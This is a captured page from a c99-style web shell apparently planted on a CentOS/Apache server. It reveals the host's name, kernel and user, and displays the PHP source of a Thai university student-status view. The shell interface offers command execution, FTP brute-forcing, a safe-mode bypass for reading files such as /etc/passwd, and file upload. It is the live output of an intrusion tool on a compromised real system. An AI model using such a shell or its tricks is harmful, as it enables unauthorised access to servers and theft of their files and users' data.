!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showDetailsSsm.php (2.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_std 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><table width="100%">
            <tr>
                <td align="center">
                    <span class="h error">สถานะนักศึกษารายภาคการศึกษา</span>
                </td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td height="22" align="center"><font size="2"><b>รหัสนักศึกษา : </b><?php echo setValue('stdCode',$row_std);?> <b>ชื่อ-นามสกุล : </b><?php echo setValue('prefixName',$row_std).setValue('stdName',$row_std).' '.setValue('stdSurname',$row_std);?></font></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td><table class="headCol">
                    <tr>
                        <th>ภาค/ปีการศึกษา</th>
                        <th class="amtCol">SEM-CR.</th>
                        <th class="amtCol">GPA</th>
                        <th class="amtCol">CUM-CR.</th>
                        <th class="amtCol">GPAX</th>
                        <th>สถานะนักศึกษา</th>
                    </tr>
<?php
            $i 
0;
            if(isset(
$rs_ssm) && $rs_ssm->num_rows()) {
                foreach(
$rs_ssm->result() as $row_ssm) {
                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                        <td align="center"><?php echo $row_ssm->tmCode.'/'.$row_ssm->ssmAcY;?></font></td>
                        <td align="center"><?php echo $row_ssm->ssmCreditPoint;?></font></td>
                        <td align="center"><?php echo number_format($row_ssm->ssmGPA2);?></font></td>
                        <td align="center"><?php echo $row_ssm->ssmCreditPoint;?></font></td>
                        <td align="center"><?php echo number_format($row_ssm->ssmGPAX2);?></font></td>
                        <td class="indent"><?php echo $row_ssm->sstName;?></font></td>
                    </tr>
<?php
                    $i
++;
                }
            } else {
?>
                    <tr>
                        <td colspan="6" align="center"><span class="error">** ไม่ปรากฏสถานะนักศึกษา **</span></td>
                    </tr>
<?php
            
}
?>
                </table></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td align="center">
                <input type="button" name="print" id="pirnt" value="พิมพ์หน้านี้" onClick="window.print()" />
                <input type="button" name="close" id="close" value="ปิดหน้าต่างนี้" onClick="window.close()" /></td>
            </tr>
        </table><br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0133 ]--